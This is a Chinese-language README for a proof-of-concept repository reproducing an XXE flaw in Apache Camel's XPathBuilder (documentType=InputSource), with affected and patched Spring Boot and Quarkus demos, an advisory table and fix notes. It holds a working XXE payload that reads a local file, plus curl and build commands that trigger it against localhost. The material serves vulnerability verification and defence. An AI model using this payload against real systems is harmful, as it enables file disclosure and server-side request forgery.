documentType=InputSource)针对 Apache Camel 漏洞的可运行概念验证复现程序:当 documentType 设置为 InputSource 时,XPathBuilder 会将载荷直接交给 javax.xml.xpath,后者使用 JDK 默认配置 自行构建 DocumentBuilder。因此,应用于 Camel 默认文档类型的加固措施被绕过:在默认类型下会被拒绝的 DOCTYPE 声明在此处被接受,并且其声明的外部实体被 解析并展开到求值文档中。如果外部发送者的 XML 到达此类表达式,就可能读取 Camel 进程可读的文件,并导致该进程向其指定的主机发起请求。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0(受影响;修复版本 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath(Camel 4.15.0,受影响;修复对照 CQ 3.40.0 / Camel 4.22.1) |
两个模块均演示了受影响 和 修复后的行为。
磁盘上放置了一个无害的“秘密”文件(cve-2026-85250-secret.txt,包含一个标记字符串),代表 Camel 进程可读的本地文件。攻击者发送 XML——以 InputStream 形式,这会转换为 InputSource——携带一个 DOCTYPE,其外部实体引用该文件:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
该路由会在请求体上求值 xpath("/test/text()").documentType(InputSource.class)。
InputSource 解析器(JDK 默认)会解析外部实体,因此 XPath 结果就是
文件内容——标记被窃取外传。DOCTYPE 会被加固后的解析器(与默认文档类型所使用的解析器相同)拒绝,因此
在解析任何实体之前求值就已失败。# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| 属性 | 值 |
|---|---|
| 组件 | camel-xpath(XPathBuilder,documentType=InputSource) |
| CWE | CWE-611(XML 外部实体引用限制不当) |
| 严重性 | 高 |
| 攻击向量 | 由配置了 documentType=InputSource 的 XPath 表达式对不可信 XML 进行求值 |
| 影响 | XXE:通过外部实体实现本地文件泄露和服务端请求伪造 |
| 受影响版本 | 从 4.0.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.1 之前 |
| 修复版本 | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24475 |
| 致谢 | Claude Security Scan Tool |
公告:https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder 现在会将 InputSource(以及 SAXSource)经由
toHardenedDocument() 处理,该方法使用与默认文档类型相同的加固版
DocumentBuilderFactory 将其转换为 org.w3c.dom.Document,然后再交给 XPath 引擎——因此两种
文档类型均以相同配置进行解析,并且会拒绝 DOCTYPE。请注意,InputSource 类型现在也
共享默认类型已记录的逃生通道:放宽默认类型的相同 DocumentBuilderFactory 系统属性也会放宽此类型。
请勿对不可信 XML 求值的表达式使用 documentType=InputSource;默认文档类型已经
会拒绝 DOCTYPE。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该 漏洞、验证自身是否受影响,并确认升级可解决该问题。“secret”文件是一个 惰性的、预先植入的标记。请勿将本材料用于您不拥有或运营的系统。